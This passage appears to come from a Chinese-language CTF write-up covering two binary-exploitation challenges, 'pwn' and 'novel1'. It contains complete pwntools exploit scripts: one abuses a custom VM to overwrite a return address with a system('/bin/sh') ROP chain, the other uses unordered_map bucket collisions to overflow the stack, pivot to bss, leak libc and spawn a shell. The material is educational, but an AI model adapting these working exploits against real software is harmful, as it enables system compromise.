字节对齐问题，所以返回到 system 中跳过一次 push 的位置。Exp:from pwn import * from ctypes import * context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './pwn' io = process(binary) e = ELF(binary) libc = ELF('./libc.so.6', checksec=None) def code(opcode: int, a: int, b: int, r: int) -> bytes: return p32((opcode << 0x1c) + (a << 0x10) + (b << 5) + r) main_ret_addr_offset = 171408 system_8 = 329986 io.send(code(10, 3384, 0, 1) + # load main retaddr to *1 code(10, 328, 0, 2) + # load offset0 to *2 code(10, 336, 0, 3) + # load offset1 to *3 code(10, 344, 0, 4) + # load offset2 to *4 code(1, 2, 1, 5) + # add *2 by *1 to *5 code(1, 3, 1, 6) + # add *3 by *1 to *6 code(1, 4, 1, 7) + # add *4 by *1 to *7 code(9, 0x118 + 16, 8, 7) + # write *7 to *retaddr+16 code(9, 0x118 + 8, 8, 6) + # write *6 to *retaddr+8 code(9, 0x118 + 0, 8, 5) + # write *5 to *retaddr p64(libc.search(asm('pop rdi; ret;')).__next__() - main_ret_addr_offset) + # offset0 p64(libc.search(b'/bin/sh\x00').__next__() - main_ret_addr_offset) + # offset1 p64(system_8 - main_ret_addr_offset) # offset2 (system) ) io.interactive()novel1程序分为两部分，partI 可以向 unordered_map bloodstains 中添加 key-value。unordered map 存储键值对的方式是分 bucket，hash % bucket_count 相等的 key 放进同一 bucket，对于 bloodstains，key 类型是 unsigned int，其 std::hash 算法结果就是其值本身。partII 中输入一个 key，把这个 key 所在的 bucket 中的所有 key-value pairs 复制到栈上，如果同一 bucket 中的 key-value 够多，可以造成栈溢出。需要注意当 bucket 满时会进行 rehash，对于不同 size 的 bloodstains，bucket_count 不同，需要重新计算。栈溢出覆盖暂存栈基址和返回地址，利用 gift backdoor RACHE 栈迁移至 bss 段 author，利用 puts@plt GOT leak libc base，然后返回至 fgets 在程序中调用位置写入 ROP chain，getshell。不能使用 glibc-all-in-one 的 libc，必须从 docker image 里拿。PoC:#include <iostream> #include <unordered_map> int main() { std::unordered_map<unsigned int, unsigned long> map; for (unsigned int i = 0; i < 0x17; ++i) { map[i * 29] = 0; } std::cout << map.bucket_count() << ' ' << map.size() << ' ' << map.bucket_size(0) << std::endl; return 0; } // 29 23 23Exp:from pwn import * from ctypes import * context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './novel1' io = process(binary) e = ELF(binary) libc = ELF('./libc.so.6', checksec=None) io.sendlineafter(b'Author: ', p64(e.got['puts']) + p64(0x40A5D8) + p64(e.plt['puts']) + p64(0x40283C) + p64(0x40A5D8) + p64(0x40283C)) # 注意第一次 `fgets` 会立刻返回，需要调用两次。 def add(key: int, value: int): io.sendlineafter(b'Chapter: ', b'1') io.sendlineafter(b'Blood: ', str(key)) io.sendlineafter(b'Evidence: ', str(value)) for i in range(0x17): add(i * 29, 0x4025be if i == 0xa else 0x40A540 if i == 0xb else i) # 布置栈上数据 io.sendlineafter(b'Chapter: ', b'2') io.sendlineafter(b'Blood: ', b'0') io.recvuntil(b'638\n' * 7) libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - libc.sym['puts'] success(f'libc_base: {libc.address:x}') io.sendline(cyclic(40).replace(b'caaadaaa', p64(0x40A5D8)).replace(b'eaaafaaagaaahaaa', p64(0) * 2) + p64(libc.address + 0xebce2)) # 再次写入 ROP io.interactive()